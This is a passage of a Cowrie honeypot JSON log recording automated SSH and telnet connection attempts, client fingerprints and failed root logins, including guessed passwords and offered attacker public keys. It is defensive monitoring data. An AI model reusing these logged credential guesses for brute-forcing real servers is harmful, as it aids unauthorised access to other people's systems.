bc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:52.928446Z","src_ip":"43.228.112.254","session":"1368eab6074c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:53.611230Z","src_ip":"103.77.242.62","session":"9c90fceb9bf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"austin","message":"login attempt [root/austin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:53.857288Z","src_ip":"43.228.112.254","session":"1368eab6074c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:55.085153Z","src_ip":"43.228.112.254","session":"1368eab6074c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56570,"dst_ip":"10.17.0.5","dst_port":23,"session":"69d889d0627f","protocol":"telnet","message":"New connection: 192.119.13.58:56570 (10.17.0.5:23) [session: 69d889d0627f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:49:57.579589Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":54792,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ad3ffe79f02","protocol":"ssh","message":"New connection: 147.45.199.80:54792 (159.203.135.109:22) [session: 9ad3ffe79f02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:01.178916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:01.185466Z","src_ip":"147.45.199.80","session":"9ad3ffe79f02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:01.286045Z","src_ip":"147.45.199.80","session":"9ad3ffe79f02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58826,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4551b53dd08","protocol":"ssh","message":"New connection: 103.176.20.57:58826 (159.203.135.109:22) [session: d4551b53dd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:01.328713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:01.335128Z","src_ip":"103.176.20.57","session":"d4551b53dd08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:01.589752Z","src_ip":"103.176.20.57","session":"d4551b53dd08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cfif","message":"login attempt [root/cfif] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:01.600737Z","src_ip":"147.45.199.80","session":"9ad3ffe79f02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty21","message":"login attempt [root/qwerty21] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:02.355622Z","src_ip":"103.176.20.57","session":"d4551b53dd08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:02.702076Z","src_ip":"147.45.199.80","session":"9ad3ffe79f02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:03.609927Z","src_ip":"103.176.20.57","session":"d4551b53dd08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":49016,"dst_ip":"10.17.0.5","dst_port":22,"session":"d8a90969870e","protocol":"ssh","message":"New connection: 37.143.61.84:49016 (10.17.0.5:22) [session: d8a90969870e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:15.189871Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:15.200954Z","src_ip":"37.143.61.84","session":"d8a90969870e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:15.501422Z","src_ip":"37.143.61.84","session":"d8a90969870e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"soleil","message":"login attempt [root/soleil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:15.994327Z","src_ip":"37.143.61.84","session":"d8a90969870e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:17.093845Z","src_ip":"37.143.61.84","session":"d8a90969870e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.243.246","src_port":60028,"dst_ip":"10.17.0.5","dst_port":22,"session":"40143975ffcc","protocol":"ssh","message":"New connection: 192.169.243.246:60028 (10.17.0.5:22) [session: 40143975ffcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:26.885992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:26.891148Z","src_ip":"192.169.243.246","session":"40143975ffcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:26.973821Z","src_ip":"192.169.243.246","session":"40143975ffcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"administrator1234567890","message":"login attempt [root/administrator1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:27.312031Z","src_ip":"192.169.243.246","session":"40143975ffcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:28.391053Z","src_ip":"192.169.243.246","session":"40143975ffcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.180.198","src_port":30388,"dst_ip":"10.17.0.5","dst_port":22,"session":"024a294e6047","protocol":"ssh","message":"New connection: 154.16.180.198:30388 (10.17.0.5:22) [session: 024a294e6047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:29.313101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:29.317551Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:29.405093Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"82:08:05:2a:b0:49:9c:17:bf:44:ed:3d:c8:e4:bd:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrRDcFH9jAIXMwuLaJ0Fn0NSGVl4tXSMSzj1LGNBj31GNROAmf4CLE5GMuep8SLKEm3QIspDH48mBSJKKfunE5VIw+DPWKRjBmo9zZnXgcsApUkRnQzh4zIv8Ai2g6SZut282jxSJb36Ts/yjSdxG9mkopVmjbYn1C5ptgntY9d2pFK01PGBAj73MAUywZXQC0u/Py6PGyQmiVo5JjcfwxOULx5/AAfC5tr+U8bG7UKt0X8Dc4INZWlU2ONyhGHv0MLEGxDPaxX7gPxoLbLx524AZVug5Szmu45cnzyfo8m9Oi+Z+vQDcURM10nfJLnHFPJ8Wwi/X9lLin6RdrGkBj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 82:08:05:2a:b0:49:9c:17:bf:44:ed:3d:c8:e4:bd:b0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:29.808485Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"82:08:05:2a:b0:49:9c:17:bf:44:ed:3d:c8:e4:bd:b0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrRDcFH9jAIXMwuLaJ0Fn0NSGVl4tXSMSzj1LGNBj31GNROAmf4CLE5GMuep8SLKEm3QIspDH48mBSJKKfunE5VIw+DPWKRjBmo9zZnXgcsApUkRnQzh4zIv8Ai2g6SZut282jxSJb36Ts/yjSdxG9mkopVmjbYn1C5ptgntY9d2pFK01PGBAj73MAUywZXQC0u/Py6PGyQmiVo5JjcfwxOULx5/AAfC5tr+U8bG7UKt0X8Dc4INZWlU2ONyhGHv0MLEGxDPaxX7gPxoLbLx524AZVug5Szmu45cnzyfo8m9Oi+Z+vQDcURM10nfJLnHFPJ8Wwi/X9lLin6RdrGkBj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:29.812264Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:74:56:89:80:97:89:e7:3a:0a:9f:3e:df:70:b4:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4i5dBGAAoMnAiDyqmqI/alzDeaRPKdt/lW/c1ETE1pVnLNVq5vOUvz9AzHgUZvjPP11q7bMDbnc4VWdPKELXRYOe2cf/0e1nd60JN9jHVReW+j0A9y8bCQNPhzu+UjQxETedqysPlIzyXf0rcKjUDHCXrNhdpTTzKtrW/vrhHpBsaOhucBjgTHXkCVMs2ZFTlSvrqU1H1V6yTM8Lfc1HQurEWPEQYPCPqTjz7dDv4/Mp6QWTHOHJNuvKY8ULWisIE+gTn4wUujtKjKCr1Sec4Tvj74u3Rb1DoK+WzLUf9DJ211oQ8qxHt6C2Jy9qnrZFbTnJlL/oPNV31shUlZcHOQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:74:56:89:80:97:89:e7:3a:0a:9f:3e:df:70:b4:ad","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:29.901273Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:74:56:89:80:97:89:e7:3a:0a:9f:3e:df:70:b4:ad","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4i5dBGAAoMnAiDyqmqI/alzDeaRPKdt/lW/c1ETE1pVnLNVq5vOUvz9AzHgUZvjPP11q7bMDbnc4VWdPKELXRYOe2cf/0e1nd60JN9jHVReW+j0A9y8bCQNPhzu+UjQxETedqysPlIzyXf0rcKjUDHCXrNhdpTTzKtrW/vrhHpBsaOhucBjgTHXkCVMs2ZFTlSvrqU1H1V6yTM8Lfc1HQurEWPEQYPCPqTjz7dDv4/Mp6QWTHOHJNuvKY8ULWisIE+gTn4wUujtKjKCr1Sec4Tvj74u3Rb1DoK+WzLUf9DJ211oQ8qxHt6C2Jy9qnrZFbTnJlL/oPNV31shUlZcHOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:29.905095Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"72:6c:cd:4b:74:c7:98:96:49:4a:61:29:68:44:07:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0ggQ5ExChuthgw8YsysKy6h9Ys7FhdQDXpAdRmkT3vfRMtB2DFlnBOj5dRPkjyRd7i5uVvUkiv2Xjd+oJkMQ+E5sip7px957ym3xBdjdc2FPjh3D5ENVMIawsQWU0gVrR5esToWciM6XhNDPMr+OJsv/WXBFgMj+Qhud+lleV8Q+Eqlkqv8E3f+o8RzccgAG85CX9cfxBo/So3q8h/IE7L/ucC3WUbXNXKp94DWuv8/MjAbdLEsqddFcwzm2xYNqRn7UNAnnfwObFg8iRGnQEPOWbvdm8I78pF3yJUk19S7URDlUmS8Uic189cvfedEhS776ANQXZs68Us16UrFwrw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 72:6c:cd:4b:74:c7:98:96:49:4a:61:29:68:44:07:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:29.990031Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"72:6c:cd:4b:74:c7:98:96:49:4a:61:29:68:44:07:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0ggQ5ExChuthgw8YsysKy6h9Ys7FhdQDXpAdRmkT3vfRMtB2DFlnBOj5dRPkjyRd7i5uVvUkiv2Xjd+oJkMQ+E5sip7px957ym3xBdjdc2FPjh3D5ENVMIawsQWU0gVrR5esToWciM6XhNDPMr+OJsv/WXBFgMj+Qhud+lleV8Q+Eqlkqv8E3f+o8RzccgAG85CX9cfxBo/So3q8h/IE7L/ucC3WUbXNXKp94DWuv8/MjAbdLEsqddFcwzm2xYNqRn7UNAnnfwObFg8iRGnQEPOWbvdm8I78pF3yJUk19S7URDlUmS8Uic189cvfedEhS776ANQXZs68Us16UrFwrw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:29.993787Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:07:11:1d:fb:71:8f:9f:b0:9a:44:66:87:8e:98:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0jngtdOfLw8qAyOx61wA/Uf0fYrMGX2BSVyo2uO6WU/QSzAqRs1bq1YOZOipwrMolV8bZpztk8KDM/J0KQTzfbR96sVN6nmrvm6ptGZVZXNmxcBhVIuTshnUvenn/Z2vMEWI+uOpLM/Altty3lQ2oVPeUIqDnlcitJddv2JFdMjZLoO5kuZ7W+WDzC/iSXB2o3otZVO8Lv6RO1WgXuSvwAuokRqT0Oo8U6tIsZwHXgRroIQgaZKoXjXFXG+ZQkKabw/v9orTdgxkj1j5uMQy2PofSR0GoYbrHxmJWhrpjk560Rpdp1G2u38rXCRxtTCgvCCWDHRHqC+3u3s8+Jx4tQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:07:11:1d:fb:71:8f:9f:b0:9a:44:66:87:8e:98:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:30.079260Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:07:11:1d:fb:71:8f:9f:b0:9a:44:66:87:8e:98:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA0jngtdOfLw8qAyOx61wA/Uf0fYrMGX2BSVyo2uO6WU/QSzAqRs1bq1YOZOipwrMolV8bZpztk8KDM/J0KQTzfbR96sVN6nmrvm6ptGZVZXNmxcBhVIuTshnUvenn/Z2vMEWI+uOpLM/Altty3lQ2oVPeUIqDnlcitJddv2JFdMjZLoO5kuZ7W+WDzC/iSXB2o3otZVO8Lv6RO1WgXuSvwAuokRqT0Oo8U6tIsZwHXgRroIQgaZKoXjXFXG+ZQkKabw/v9orTdgxkj1j5uMQy2PofSR0GoYbrHxmJWhrpjk560Rpdp1G2u38rXCRxtTCgvCCWDHRHqC+3u3s8+Jx4tQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:50:30.084356Z","src_ip":"154.16.180.198","session":"024a294e6047","protocol":"ssh"}
